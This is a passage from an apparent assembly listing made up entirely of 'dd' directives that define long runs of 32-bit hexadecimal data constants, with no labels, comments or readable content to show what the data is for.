81B66C23h, 0CC145Dh dd 8F7A412Eh, 0BE91C386h, 79FD4B00h, 0B6C8F767h, 273309B8h dd 94FCCB1Eh, 93249A00h, 5CF49921h, 20C47023h, 1125220Ah dd 0F93C3471h, 893F417h, 0CCF9A829h, 0B7A09204h, 9CF45E25h dd 0F8100066h, 0F4E19217h, 0BB241F8Ah, 0FE00743Fh, 296B3864h dd 70B000E3h, 3E219188h, 469D0CDAh, 417E10h, 0C2800D39h dd 6ED5EB88h, 4DBD7513h, 0C500D8F2h, 501837B7h, 0F45BAECDh dd 0A4336CCCh, 0E2CA0E08h, 8D02562Ah, 0BCFAFDF5h, 0ECC495h dd 65EB2E25h, 0E64E20A5h, 19C293Ch, 1A50E0B3h, 80514183h dd 469FB0Ch, 1057F900h, 62071B15h, 0D5688512h, 1D04C0FCh dd 0C089C3CAh, 56C2CE9Ch, 73D2E00h, 0AE0636Fh, 0A1CB017Eh dd 72E485C9h, 13F42010h, 16DFEB88h, 0F70E632Fh, 88D2002Ch dd 9018B156h, 78FC091Ah, 54769BE3h, 30C1CE40h, 2CDDF816h dd 0E2D0F002h, 0B924E838h, 0E01ED340h, 0F30ED2F1h, 80B54798h dd 0E2990365h, 8CF2F58h, 0A9F71CA1h, 11242CE1h, 0B5137F86h dd 52188C7Ch, 89DBF213h, 27E42Ch, 0E8FB6B25h, 44281B14h dd 93E39427h, 1A00A7E0h, 10B2FFh, 3579BA2Ch, 0CB53D17Fh dd 0C4FEF438h, 0B0334FE7h, 3F2DC984h, 13207065h, 0D0820605h dd 0F070CAA0h, 727B8F05h, 7840E042h, 0EF12A743h, 4944005Fh dd 3D245CF8h, 0FC918E0Bh, 0DD9C6680h, 18AD1247h, 71C95868h dd 0D43C1FAEh, 841CB2Fh, 0F7B86093h, 0B7028A4h, 7479B3C7h dd 248F7D01h, 9421664Ah, 0C600344Dh, 0A97502h, 0B2C5F90Ch dd 0E7255AF8h, 846CF302h, 0C008B48Bh, 0FEE569C5h, 2482BF1Dh dd 6054EACEh, 0E235F940h, 0C0765Fh, 624E524Ch, 0F060642Bh dd 456FFB01h, 0BF10865Ah, 0E384806Bh, 0F20B92FFh, 54724CC7h dd 14C540B8h, 3D3EBEB2h, 7A4F8031h, 0DE8D7FB9h, 99D9850h dd 0B3526259h, 0FB6B7CAEh, 0B4AC88D9h, 0E7446203h, 222016D5h dd 8D148C2Dh, 91CD2825h, 0ACC0D1F8h, 4DCFE8Bh, 6C5B6B05h dd 424DC129h, 0D4003068h, 2022645Fh, 857193Ah, 0B491BF9Ch dd 4AD0727Eh, 1757D0C8h, 259CB6Fh, 0A7E6195Bh, 0BC3687C0h dd 954F41FAh, 0A82070C1h, 0C0005EC6h, 95508293h, 8DCC801Dh dd 712DB3ACh, 59078F14h, 84DF73E0h, 9D58C63Ch, 740AC0A4h dd 0E413D362h, 0DD390071h, 0EB4EF4C3h, 0E50D4AF6h, 4858AED2h dd 0BF80E878h, 0D05B01EEh, 0BD6BEA03h, 0A8DB79CFh, 0BB350DB4h dd 2BE8AC38h, 0EE894EBCh, 0D567C8DCh, 752EBCE2h, 52F26040h dd 7A451E01h, 372D863Ah, 964CC06Ah, 7C00A65Ch, 2921F64Dh dd 261AFC8Eh, 88EC0CE3h, 0AE96A891h, 58E81C12h, 0AF5001D6h dd 0DD870C14h, 0BA5CD4C3h, 0FB9B6A12h, 0EFB4B481h, 0FA004C32h dd 45768195h, 4A055BE1h, 0C061E08h, 0FA805CB8h, 335EDD28h dd 17027AF6h, 13E319CAh, 30D14Fh, 94AEABE7h, 0F701D182h dd 0B46EA73Ah, 2FD5700Ah, 805C603Fh, 0DB7F3046h, 9D4A7A00h dd 0D4486B32h, 504B0129h, 5D84D7AFh, 1ACC415Ah, 0C27025B2h dd 180ECC5h, 3B821F6Eh, 5B7C015Ch, 4A9C9A4Fh, 0D9A47480h dd 7A90A88h, 5229477Ah, 0AA5763A1h, 0C34A21B0h, 63C6EB02h dd 502B809Eh, 6F7D2234h, 73C469Dh, 165DE0E6h, 4E61B09Fh dd 1102BF36h, 74B4EA6Ah, 4040D672h, 0DBD27573h, 858BFA00h dd 0CD0EE76Bh, 0B5FE40B0h, 2422805Ah, 9ECC6F4h, 4A86D71Eh dd 7244ACF6h, 8B00A08Ah, 0D22BA74Dh, 8A00D775h, 0C4C968B4h dd 6D81844h, 0DB3BCCECh, 1F1E386Ch, 31498F94h, 0F1E009DFh dd 0AC649F38h, 4CDD0280h, 307C2973h, 0C08F8760h, 4FF0008Ah dd 8972C378h, 0F81CEE6Eh, 7E105542h, 2D87C507h, 54405B90h dd 0D1161CF2h, 38A23C89h, 0E074482Ah, 0E0789E30h, 45A5E088h dd 80D18D3Fh, 8465636Ah, 173DCE0Ah, 127073EFh, 7E0020Dh dd 9B1855B5h, 0C8FB5B62h, 8D0074C0h, 0E15B40F6h, 7DE3AB7Bh dd 509200B3h, 8E65FF42h, 0B898BDB5h, 3215E078h, 7BC9FEFh dd 41CC0546h, 0B804B00h, 83B6B27h, 6D64B8C8h, 0F25ACB00h dd 0FC9AAA90h, 0A8E25066h, 368C1379h, 0DFBC205Fh, 601C82Ah dd 0A22BFD56h, 8BB607Eh, 323D2161h, 1075CAC8h, 8D3F34h dd 0D469DBD9h, 0D3AD9AB5h, 79421A0Eh, 616DEEA8h, 665776FBh dd 90FDE0CCh, 0BC0E0450h, 811CE661h, 8B0DB78Ch, 9A77AC8h dd 2494E851h, 2BC01C05h, 0A0DB839Ah, 84F6393h, 94D3CB4h dd 179CC00Eh, 55E68C80h, 0D1673DFh, 6801DEEBh, 45FA21CCh dd 3250E8A9h, 363042F0h, 560A11C8h, 87C2889Dh, 0A0C89E41h dd 0F9D03446h, 772A681Dh, 0CC662540h, 16D8DA3h, 89FD7D15h dd 83C3E48Fh, 0C9ADA5E0h, 6180407h, 0EDF77408h, 416C0E68h dd 5B62C0E2h, 6B09FB43h, 0C0A0084Ch, 0C3E239A2h, 0EE007E71h dd 1DED0E48h, 0A031DC2Ah, 317787FCh, 39682CD4h, 99D8DCBFh dd 18B9C800h, 0CB543B9Bh, 4B2A00F5h, 0C7694355h, 9A00EA03h dd 823E6B8h, 0B8986A73h, 172E0069h, 8838A0EDh, 8CE43F72h dd 0C1EC3Dh, 0F3EA090Fh, 16AEF04h, 6B2CA401h, 0C0EC361Ah dd 0EE018E4Ch, 800389EAh, 28BCD45Fh, 2BE3D300h, 0CAE76791h dd 9F6EEB19h, 2180D708h, 0D02BEE94h, 0E00523Fh, 0D17B5190h dd 4DE698h, 1AF0E0DBh, 35216B8Dh, 0FA02813Fh, 0EDC2E218h dd 19FFF341h, 0B8FA471Ah, 26E7E0E4h, 0DDC438h, 274865CCh dd 761FB0Fh, 1A42C803h, 216A4604h, 27313C00h, 76C038F1h dd 3E190248h, 0DA0A79E9h, 66FAA060h, 7CD15C00h, 0F26CE1DBh dd 0C7FF1E8Eh, 653CC0BFh, 2EAE079h, 94E8C606h, 5106F56h dd 0F6BD0563h, 759D0790h, 60D16713h, 0FF83BC25h, 0CBD33000h dd 9EFA44Fh, 0E61D008Bh, 4662C0E5h, 23037BA2h, 0CDB56796h dd 10B8F861h, 45CF00D9h, 80FD93E4h, 0E4C629Ah, 0DC31003Ch dd 0D1F1712Eh, 53211F4Bh, 0C07A9C8Fh, 9EDA9F22h, 30758165h dd 0B6B79503h, 0E0765B6Eh, 708DDA4h, 8CE5F33Bh, 0FD5F90D6h dd 4F03BCDBh, 0E4356AE8h, 0AAA4C0E9h, 1D40967h, 300080FBh dd 535A8641h, 0DB0C7B70h, 3A50ACBBh, 29560067h, 6B2F9E4Ah dd 4D4C65F5h, 8C681EDEh, 0FF60D3C1h, 89DFD43h, 0E5A1C130h dd 0C8C8A3CDh, 0F3033421h, 0F15C7A3Ch, 5AD0F8ECh, 0A9E628h dd 7FE31697h, 0CF524AA3h, 0E6D6A400h, 0EEF82A56h, 0EA48000Dh dd 1B726E37h, 0F6007742h, 3955BF73h, 3EDCBA0Ch, 74000ED1h dd 0B1672DF4h, 17009638h, 0BBFA1BB0h, 6888943h, 0D1AEFE8Ch dd 0D6004040h, 59FB7032h, 0ADF44Bh, 761047A6h, 7778E7Eh dd 7563DB00h, 0E540CD30h, 185600F8h, 0D7E1CC69h, 250E7615h dd 0E1815C2Eh, 6ABE095h, 7B1EEECCh, 6F711848h, 0DEF6488Ah dd 0A1FB9300h, 2D920E9Ch, 291B3ECFh, 0C035469Fh, 64B5F47Eh dd 3FF8FCD6h, 74A89760h, 12907269h, 6A6EC78h, 5073F598h dd 3D0AEB15h, 9A786780h, 1174F6h, 53D9BACFh, 0EE4824E3h dd 201CE800h, 608213EFh, 4B231A86h, 0CFC360EAh, 0C1A1E5E8h dd 0A2C0C095h, 3B5900A7h dd 8239D06Fh, 9B005BEEh, 7369F840h, 0ED3184h, 194267B5h dd 0A4CCBC7Ch, 59EF0D17h, 0E9B100FFh, 69C6665Bh, 459ED700h dd 0FE44E8A9h, 3E93F8DFh, 0BD81F2D0h, 9F732534h, 53588033h dd 0F0A2ABD1h, 5D962CE8h, 0C971DB2h, 5E20344Dh, 7DABD90Ah dd 590B9852h, 0D21A80FFh, 1F48FB4h, 0D347A14Eh, 0E73F240Eh dd 73591060h, 7CB7F2E1h, 1311C03Bh, 0CC0D2ACAh, 9FBF2606h dd 60082BAAh, 2509211Bh, 72B07F28h, 0CB26677Dh, 4403F815h dd 0EBB166E6h, 58606481h, 2AD060B9h, 36CC230Bh, 0F3021011h dd 0B3512822h, 40567841h, 173C67C0h, 40C621CEh, 47FC2057h dd 7F747D05h, 403B22A3h, 56005CFEh, 1DC1BD34h, 0CF9E543h dd 0DF57DCD2h, 0F70AD090h, 0C034BCEBh, 2246B020h, 0C8ABD21Dh dd 51C4D0F0h, 0EB0B3548h, 3B4B5817h, 59004C73h, 0D2E64550h dd 3B0E61B3h, 0EE0A69Ah, 5808C1F9h, 88E8CD9Ch, 0E3CA0009h dd 0CFEC9E82h, 530EAD2Dh, 60AAB08Ch, 0D5F08D33h, 8985004Dh dd 87FD46B9h, 4F00C218h, 8A094E5h, 0E91CBFh, 1952BB35h dd 0D7DC5AA4h, 18CBB100h, 138DF0F9h, 7BAE290h, 0C1022693h dd 0C6C3C011h, 0FB01FCDBh, 0A043A44h, 0BFE83116h, 0E7078D7h dd 1F5FB341h, 96E15700h, 0E0000EFFh, 102947DCh, 0ED70301h dd 3C2143DAh, 0C3929465h, 11F07566h, 0BF0713CEh, 0DA7DFD1h dd 0B05C69D0h, 79EE40Eh, 0A35009E4h, 802CC007h, 0E3004922h dd 1FA16FCFh, 10947Eh, 91D813C6h, 0E49D5B7Bh, 7CA57906h dd 1E88B00Fh, 80EBF92Bh, 22EE78CEh, 0D6585B2Dh, 5D751E4Dh dd 0C73B6C00h, 7A451Fh, 33108872h, 0E2877320h, 5800A87Ah dd 6D799512h, 0C10E2DE1h, 17AD9459h, 5BC0879Bh, 2A44EDE8h dd 0BFFD1FC0h, 5D18C0A1h, 272BFAB3h, 1BD00C00h, 8AE34731h dd 0E7BF0070h, 0F792B1BEh, 4F180825h, 9710CC39h, 91280083h dd 0E6363438h, 0C814C0F6h, 0D2EF7Bh, 5F682A4Ah, 0F909794h dd 4B358F8Bh, 9F29E4ECh, 0EB4D88h, 0A0951E87h, 0B7DA4702h dd 3A276207h, 0BC3341A2h, 0F1C5A81Fh, 339D00B4h, 2D73AD37h dd 0B01F6C6h, 785813CDh, 47E88DF2h, 0D0A616ABh, 4C860005h dd 8FAEF850h, 0F5FDD400h, 6164AF0Bh, 56C200EBh, 5E478619h dd 2F008492h, 0FE226CF4h, 1CCDBh, 0B8F965B5h, 0F8743D1Dh dd 57E10A00h, 0BF742C7h, 6D7C22h, 7E41A110h, 0F33E046Ah dd 88927C07h, 35B0FB8Fh, 0B0A63FF7h, 7D8D0020h, 5E8B0D9Eh dd 6C00D108h, 7BFE0128h, 0D3AFC4h, 1C69D57Eh, 0AC6EDF42h dd 0EFC6F00h, 86A48B7Fh, 5E810188h, 7D4C5630h, 2B15C83Fh dd 0DF413D00h, 0E85C16E5h, 0A3050780h, 4E10BAh, 72C08F8Ch dd 79D73600h, 4A52BF44h, 0AEC00DEh, 58C67FA4h, 3B0973F0h dd 0F8A991h, 643C07EAh, 0FA04007Ch, 4451A8DFh, 7100215Dh dd 0F68F47E9h, 77017AAh, 93EA76FCh, 0E8B0C02Fh, 0EF1DC61Eh dd 25408C77h, 0B7461855h, 0FFE0C0h, 5614ABBh, 67A748A6h dd 1364F248h, 4B000AA4h, 95E2780Fh, 0EA2B07F0h, 100CA2EBh dd 723CB833h, 0B4D6671Dh, 0EE6C6EC0h, 0CF182185h, 8B8E0FF2h dd 812D49E5h, 0D83932A8h, 0DE729488h, 7819E1Eh, 693A7180h dd 0A001D03Eh, 79C8A2h, 0E29DEDFCh, 0CE3F4763h, 0F4CF4607h dd 0A30E159h, 1E79DF0Dh, 80D28AD8h, 0B236AC60h, 0F8909F5Bh dd 0EAA5DC00h, 2ABBC26Fh, 0FE44F4C8h, 5A28008Ah, 0DBDF75Eh dd 69784B6Eh, 3C752C0Bh, 0EFC70057h, 14734Ch, 963F5852h dd 0E7869D63h, 9CA3300Fh, 7D4FE01Dh, 0AAB80Bh, 7F70074Ah dd 0DC7E2104h, 0D09B0801h, 555B4814h, 0B318FBFBh, 0ED6DD85Fh dd 0E6BC004Ah, 4060944Eh, 351C2399h, 0AFC0C6CDh, 51B96DC5h dd 98770003h, 0FD4B8086h, 69000EE1h, 0EA5C10C6h, 0FA03617Dh dd 16E60099h, 0F6A22ADFh, 7607B58Fh, 91549471h, 60C0B1C4h dd 7E6B762h, 0EB4ED85Ch, 9D6420F1h, 0BC0C262Eh, 1058B405h dd 746B0033h, 4F569A53h, 0DD00D3B9h, 0A4A6010Ch, 0F695E010h dd 0F74A00BEh, 0CB569828h, 0EC00B1A1h, 0ACBC7179h, 94FE6Ah dd 18E1679Dh, 424E9C29h, 0F26ED800h, 0D96A8347h, 0EF370001h dd 6D3C03AEh, 93005FD5h, 0C1BC94DCh, 1C6DFF2h, 56213A0Ch dd 0C302BB5Eh, 3E5B8007h, 0EB008A62h, 0C428DCh, 6AF09E0h dd 81D72CA5h, 0F28D5200h, 82FED69Dh, 7BCE005Dh, 0A932260Eh dd 6B00E738h, 0B2AA81C4h, 31DDEC9h, 3BDBD7C7h, 0AE3F4AB8h dd 12D4C0Dh, 54388715h, 80201B12h, 706DF01Ch, 5335003Fh dd 4B7F0566h, 7B00ABE1h, 512A443Dh, 60390FBBh, 183AA804h dd 0F2003553h, 134EB5F6h, 6A95C3h, 6042B7B8h, 15C99BC0h dd 5D8EDE0Bh, 764D00F2h, 773BF4Fh, 0D1442CD5h, 0C419F079h dd 28C016C7h, 0C3E145E9h, 0AEE200F8h, 0C9A896CCh, 21002F7Dh dd 0B68F9DECh, 0B5A73Ch, 9BEA6837h, 5314D49Fh, 0C00434F6h dd 0DF0A8029h, 51893480h, 1562E82Ah, 0F071443Bh, 547B3600h dd 0E52E8431h, 4DE25C00h, 0A22CBFC2h, 0A7C80124h, 0DA031A2Bh dd 2180C3B2h, 0D70083F9h, 9BE1B7A8h, 0DD94FCh, 28FE7641h dd 59048837h, 98F7CB00h, 0BC770EB5h, 0C5420217h, 0B8510CD9h dd 9CE1284Eh, 63015DB1h, 0B3D622E7h, 0C9ED20h, 2D84828Fh dd 8F03C0Dh, 5C001490h, 0A6E9E6D0h, 11667EDh, 962FE114h dd 0EC18538Dh, 1003A33h, 0B5FA923Eh, 0E1ACCB6h, 4A21D848h dd 70399787h, 2FFC029Ah, 40037E73h, 79CB465Fh, 0FD28005Ch dd 9D4354FEh, 740052E8h, 8C8DB3C5h, 0A0A920h, 0F46609BDh dd 14E05905h, 0F9D23A03h, 0C8AF1AABh, 7D045Eh, 0EC9A9458h dd 70928FD5h, 0A2CF0200h, 0CDB7877h, 7AE00005h, 2DDA7C3Ch dd 0A03BD76h, 3755D9BAh, 0E631F1EEh, 0F2F6F3CCh, 0C57EA0h dd 5DE383E1h, 0FB84E58Ah, 630008F0h, 0F4DFB6F7h, 3FF2E9ABh dd 8F0003EEh, 12742EA4h, 8A004768h, 6AE56E4Eh, 2653E59h dd 0D41A1809h, 0E4825B81h, 5CC087D1h, 0EF008C3Ch, 0C12D6C48h dd 4C9933h, 0EA30156Fh, 0C59F2FEh, 0FAD35F07h, 0B204FAAh dd 3F92BDC6h, 6F066CBAh, 6C3A5ECEh, 8933BE1Dh, 0CC40686h dd 0A18C0A60h, 3CA09122h, 2C98DE01h, 0D0E0E4BDh, 0D36F68B9h dd 80E80F18h, 0A1A2E58Bh, 0A18A15Bh, 71A0DD8h, 108490C1h dd 0B951D061h, 2800FFCFh, 0D193B582h, 3A017E47h, 0F28048A2h dd 0C60D130Fh, 9F30356Ch, 0CFFC180Ah, 0DE1A03AEh, 0E37579F9h dd 5108800Ah, 24868405h, 1CB0D03Fh, 806C8589h, 4CB0FE8h dd 0C00CD279h, 30068290h, 6C6D0794h, 9527891Eh, 477448EFh dd 8400E064h, 881FB3D5h, 383F7E0Eh, 0A0F8C041h, 1C263A17h dd 1C8C5186h, 0D87C584h, 96E40134h, 0FC4914C9h, 0AD1D6B67h dd 0FD00A45Eh, 0BDF48D58h, 347350h, 9B98160Ch, 418053C5h dd 17676400h, 4308D21Ah, 70CD02C6h, 30E9FF0Ch, 3FD5A840h dd 0A5001E71h, 961F0D79h, 0EED2474h, 0E4C95FC2h, 9B774120h dd 0E2E69A7h, 0B80073B1h, 0DEA59804h, 4753008Fh, 72AB90A4h dd 7C0094AEh, 77E21474h, 398A93D1h, 80942026h, 87008030h dd 0A8467FECh, 650CA485h, 84C8D8Ch, 4321C438h, 0EBBB8098h dd 0E80088D8h, 6AA4E19Dh, 2A09585h, 8227045Fh, 0D0A4030Dh dd 7841BC05h, 0EBA05AF8h, 8A1B9A34h, 23206AFCh, 7E018B80h dd 9C85A746h, 9742000Eh, 5F7DEB46h, 0DAE090h, 2CAF410Bh dd 0E116BC89h, 659B2700h, 5F831F72h, 78826203h, 0F4083602h dd 0DD8B8783h, 0B989EFFh dd 83D8DAFh, 3120FB8Ch, 79BFB501h, 0C90A910h, 898D1F5h dd 9CC82135h, 0D205BF7Dh, 9A224AD9h, 0C17CA448h, 0CDB24685h dd 41300E74h, 0EDCA61E8h, 8D2F8B00h, 0A6269A7Ah, 0D8C803Bh dd 0C1C06700h, 4D499976h, 7FBAF2D8h, 8FB01CFBh, 0A3CC0D20h dd 7688AC78h, 0E0B78830h, 0D881012Dh, 0F432977Fh, 5950FCF8h dd 0D08B9800h, 8E5A4C7Bh, 39B304DFh, 0C030A9C7h, 0A4F2852Bh dd 3F00B072h, 7E51CA57h, 584AF021h, 0AA00C631h, 0A50FD405h dd 95003C33h, 0B0E4D3DFh, 48DEDA5Bh, 0C150E287h, 3CB500E6h dd 0C0C2A816h, 0B400957Bh, 0ADD2FADFh, 13589F46h, 0EB5C33h dd 9A5D268Dh, 933F95B3h, 5E0F79A4h, 0C0C9D554h, 106634A0h dd 0AD990F09h, 9DBD3Ah, 0EC31D641h, 180C1511h, 41DE5CF3h dd 82500069h, 2CE342EBh, 3413BA32h, 3E1D1E1Bh, 4480F8D8h dd 0A6F00319h, 0AF0887DFh, 0C53848h, 4BE9E774h, 9158ABh dd 1328B632h, 0DB3880F0h, 1A13F0Ch, 14C8E2h, 8A7823E8h dd 7F10ACEDh, 0DF95A4A1h, 5BD082B0h, 968E3818h, 7BD17D58h dd 37E5009Eh, 1EBC6089h, 790786C6h, 7C7EB321h, 0AC509D67h dd 37BF56h, 0EE6096E1h, 5468023Ch, 73C16400h, 0A0C99EC3h dd 0E1D401F6h, 0FC7DA989h, 9A119599h, 977F7C04h, 804910CEh dd 81F3C939h, 0F0350010h, 9DEFFF5Fh, 40C0B49Eh, 49E4510Eh dd 0CA053281h, 0F6105428h, 0F5088A3h, 112ED38Bh, 3833C851h dd 0A0F444C1h, 88307414h, 0C08232ACh, 0C97A72Dh, 13B39CEFh dd 5400397Ch, 0A17ACA73h, 39AE8B43h, 0BA00FFD6h, 0EE337E8Eh dd 0A0001D16h, 0ACCF0B23h, 0E0561Bh, 5A081EEDh, 47E17BB9h dd 10ADDC01h, 6B0F80C2h, 2F63EBBh, 0E57B0BD7h, 0DB404854h dd 0CD00977Ah, 0EEEF4603h, 583389F3h, 0E800FB4Bh, 0EDB69C74h dd 68000550h, 3DA321C3h, 0CE31BB7h, 0A86998B3h, 4A00EF11h dd 2F7EB0A1h, 1EBDCBA4h, 0A83241D9h, 0ED08C7B8h, 0E6B0A0AAh dd 8238BF0Fh, 52598030h, 6C4EE570h, 9964608Dh, 0F90760EEh dd 53406B00h, 0C06D7DA2h, 0A30D00EFh, 474AADA8h, 3E00DD9Fh dd 5BA6B8F6h, 264452FCh, 4A6BE73h, 812AB614h, 0C8173EF5h dd 0F6001AF9h, 6DDA3D49h, 0D7A419h, 0EAE1BC6Ah, 7ED80316h dd 3FA3F907h, 0E820FE95h, 811789h, 799B948Bh, 62295388h dd 0BC162701h, 0AFCAE86h, 2C24A9CDh, 33CF6D6h, 7B2483C3h dd 0C7C8645Ch, 0D5019994h, 8CF942A6h, 9FF78FE0h, 456AC4D0h dd 7C8E003Fh, 0D2291923h, 6E00B63Ch, 2744A7CDh, 3E61540Fh dd 9B07A8AEh, 0F50E9EAh, 40C3B00h, 76006072h, 49BDC76Bh dd 4CB680F4h, 0E9002481h, 83A43F3Ch, 54581EFAh, 7F007246h dd 21C66AAh, 0F4B89D73h, 0A0470019h, 323B6BB9h, 38028B05h dd 0B32445B2h, 76AA6027h, 3A75006Dh, 0C71726E5h, 5100C1B8h dd 0DE43136Eh, 1F2DAF90h, 0C0506D18h, 7DE6A46Bh, 7807CFFEh dd 16417BC8h, 82EDEFD0h, 0C04D49BAh, 4374A300h, 7F5A1042h dd 19298500h, 0E4E9BC75h, 0AFD607E6h, 93593A77h, 1F02F9Ah dd 0C6006298h, 5856E99Bh, 1DE031A3h, 829C64D5h, 76350F7Dh dd 22607440h, 0BEC38307h, 65750410h, 0E4BFC000h, 2D9BDCh dd 0C5EA5428h, 56914EB2h, 29E83D0Eh, 6810E04Dh, 0C6C35Fh dd 1BB3A957h, 5B2808AFh, 0C14C1E00h, 714AD30Dh, 38AD49F2h dd 4EA39707h, 0C2E420D5h, 8A0FEA74h, 0BE3A9B64h, 8FE36605h dd 0CF7B5A81h, 568C20h, 7CAADFA3h, 3372E6BEh, 59EDF609h dd 1146832Eh, 66E9D848h, 0D50828FCh, 7A7C94h, 0CE356876h dd 51DFB9DAh, 0C7FC8C92h, 290337E2h, 7C572156h, 4034EAF0h dd 0EEB5A918h, 0B2DF01C4h, 96089131h, 0EE4BF082h, 18F3040h dd 637EF85Eh, 31AC31B6h, 0BF208924h, 0E49C0048h, 0B790Ah dd 7B889FFDh, 0D6A8E829h, 0DA0D3B00h, 5C909C6Fh, 6237002Fh dd 0BD357350h, 9EECF33Ch, 26894000h, 83B180Dh, 8ED23C2Eh dd 7CC3E900h, 1051BE98h, 29A4B201h, 79920EE4h, 42676D8h dd 0DBF3C68Ah, 347FC0FDh, 3304ACB0h, 0AB1D6F9Eh, 73AA1C80h dd 0F3572C10h, 7EE300B5h, 0BFD0DC3Bh, 80C9CB3Fh, 9E3F84D2h dd 3D464208h, 7B0019E2h, 0A87467A3h, 7A00A2CCh, 3BE59AF5h dd 38E0C2h, 0BA213975h, 83983A2Fh, 0C5FFCF00h, 59568FF5h dd 0C24B4849h, 0AC5A4E00h, 5D33BE16h, 9B9EC0A8h, 102E5F09h dd 0AF820B5h, 3AB8604h, 0D7EC95C8h, 92980BA7h, 0DD00ED37h dd 1931F0FDh, 7D8CC7h, 0EB2FFCD9h, 0AC18391Bh, 891F2B05h dd 13C0ECC9h, 608016h, 0DB830354h, 6ABEAE8Dh, 0E5F4C3Ch dd 0C0AB2673h, 0C49F1DE5h, 3D9B1C4Dh, 0FFEA829Eh, 99C09760h dd 98000F8Fh, 68879FDDh, 2FA2D1h, 0DE9A8B3h, 0E2E638C4h dd 78591D00h, 0C16912ECh, 185A001Ah, 9A3010A3h, 85E42066h dd 116790Bh, 87C7801Bh, 109F92h, 8FAB6438h, 31FE9DD6h dd 1B064E00h, 0DDFF61D4h, 0EC9A3A01h, 3C047A81h, 0FCDA18A4h dd 880099CEh, 65CD2BA5h, 0E408EDh, 0C643301Dh, 0F944B87Eh dd 39C3D400h, 0F17D982Fh, 0A769008Eh, 1035563Eh, 0E0077763h dd 0E96AEF18h, 1244BAC0h, 0B4640052h, 1EE49D6Eh, 5B00CA56h dd 0B148B2FEh, 6F75DABh, 2FBD4399h, 52067059h, 769EDFDBh dd 70E300C8h, 2A9C92Bh, 8B00B4B5h, 0D89C173Fh, 0D52233h dd 0E331241Bh, 0E13CA221h, 0BAAB5400h, 94465523h, 0F45CF04Bh dd 82BC01D7h, 0E01EE8B8h, 9516F473h, 0BF1A413Fh, 108480E1h dd 9732CDC0h, 76F6009Ch, 2A96E788h, 0EF006FD9h, 1B48E041h dd 44B5A3h, 89BAE88Eh, 669E6ACDh, 55E41400h, 0BC9BC725h dd 1B2700FFh, 0A686D4A2h, 0DE00EC77h, 0F720E2D3h, 75929AFh dd 81D63184h, 90C05E0Eh, 79F165E4h, 3FC82403h, 0F87737DAh dd 3B39E272h, 0CE87A427h, 7E35DD1Dh, 0E98D407Eh, 0F57C1B8Bh dd 26F76A3Eh, 3B0044E1h, 0C91AFB9Ch, 55D70020h, 0B46DFA80h dd 9E1EC441h, 924758EFh, 4680542Ah, 1D9169E1h, 8033B99Ah dd 93ABECEh, 0BD507FB8h, 6B004FC2h, 47E0C01Eh, 0B85B5A78h dd 0B753004Ch, 0AAD4D126h, 80077F1h, 8783B940h, 35C3FC5h dd 7C540496h, 33F06645h, 30021DBh, 34632F41h, 0ED8A12C7h dd 491900EBh, 0D8CC9B37h, 0F400C5ACh, 4273C6E8h, 1B6BCFh dd 279CD54h, 23EF947Ch, 20915F00h, 0BF4EFDB7h, 6EF7026Ch dd 0D4016105h, 0C6F2DF60h, 9223CA00h, 0FB50DD80h, 0E0710062h dd 8E440B2h, 47007A93h, 0DDAE844Fh, 8D3F68h, 0A3A0886Ah dd 29E6054Dh, 2C009848h, 0F36624AEh, 91F4F2h, 9BBDA131h dd 0E01022BBh, 0FC6B4C00h, 66C30BFDh, 199800BCh, 94B31D9Fh dd 20E1ED1h, 92B777FFh, 830AF900h, 0C0AC45h, 0DC21FE20h dd 24474F0Dh, 9271F400h, 596A99ADh, 2EF67E6Ch, 0C4A70Ch dd 16917872h, 410350FBh, 1E0DD774h, 0E3A4A8E5h, 3650B7F1h dd 8B9C4713h, 490A2401h, 0D8646411h, 0CCA700F0h, 0D6E74ADEh dd 0F5006B33h, 4214CFBBh, 13DACCAh, 6204D30Eh, 0E76A3CF4h dd 0D8489399h, 3800C590h, 0F2263D4Dh, 29634A3h, 0C1463003h dd 1AE0F5F1h, 1B009921h, 72EA334Ah, 819544h, 0DE624BE4h dd 2F1D765Eh, 24C1C01h, 2A882365h, 0D6BC2880h, 7F3FD0Ch dd 42CEFC18h, 0E2D14849h, 87E101E4h, 881E9683h, 0D87A61D2h dd 0AE3ECA9Ch, 0DA00FFECh, 7BD19DD5h, 9835009h, 0C823D9D2h dd 808E2860h, 0BE03CB01h, 68C24EE0h, 0F85106E8h, 1697E650h dd 44DD8C70h, 80D24C20h dd 28A1CCF6h, 0AA675C00h, 0F2967A49h, 5BF5004Ah, 0BAD6832Ch dd 0A7056CE8h, 0E3AF37E5h, 0BEBD3D80h, 0ECB0A071h, 878C0051h dd 57A445A3h, 67060246h, 3B2A9C31h, 77610011h, 3A26CBC4h dd 0FB001154h, 5BA606F3h, 181CB9D9h, 0C09F3461h, 930009E1h dd 0ED1DA3ECh, 25BBE5h, 9A809453h, 2157F09Ch, 66CD35Ch dd 0CC074E61h, 15CB0C6h, 75A8FF59h, 0C00DE3B9h, 8C18528Ah dd 0EA6063CAh, 59E238h, 0BD6D1B97h, 0F7D6FAF1h, 0D3D0C800h dd 0F69AE26Bh, 794E09C4h, 0ED004198h, 80019E62h, 4778FC00h dd 83A86CE5h, 81F607B8h, 10EAC2A9h, 391DC4C3h, 0BE15FA00h dd 73702C09h, 0A5320229h, 0A487F63Fh, 100674E0h, 4F80C30Fh dd 828B00EDh, 308A9F4h, 3C163554h, 0D0D07687h, 4800B474h dd 0DEAA05Eh, 448A55h, 0CF89BF6Eh, 302AD8Eh, 0F6A3AC00h dd 7775DB26h, 812505B9h, 0AADD35h, 4EB4EAA0h, 5073497h dd 796E238Bh, 0BAC10C0h, 6EB0013h, 46DE7FC5h, 0A2007EB6h dd 62BBB95Ah, 7DCD33B2h, 353A008Bh, 2A11E5Bh, 302E6839h dd 0EF02406Ah, 784D87Bh, 0F0FE8777h, 454D2FB5h, 9964D603h dd 0C0AE76A8h, 2F97EF4h, 520B6E8Fh, 4440C1A0h, 367CE8E4h dd 87983000h, 0D6638F81h, 868900C7h, 0E4C45220h, 6E269D32h dd 3001A880h, 0CAC9544Dh, 90BEF040h, 9CC64C50h, 0F75E9A0Fh dd 0D7A4B320h, 483073F9h, 8257299Fh, 604C0152h, 977FB985h dd 0DB9DE82Dh, 3548C67Bh, 8EAA8990h, 0A71D4064h, 7E5E2613h dd 94680F11h, 56E0E297h, 0BFDC08D1h, 0F2FB290Bh, 0F77C0345h dd 6E4A898h, 0C2970037h, 75F939A4h, 410049E2h, 2CDE65F8h dd 713DC28h, 0D24EC278h, 40708005h, 0E10F5F72h, 3301D9C0h dd 75D0F480h, 77FA0E10h, 0F8D84AC6h, 7013D364h, 1080359Ah dd 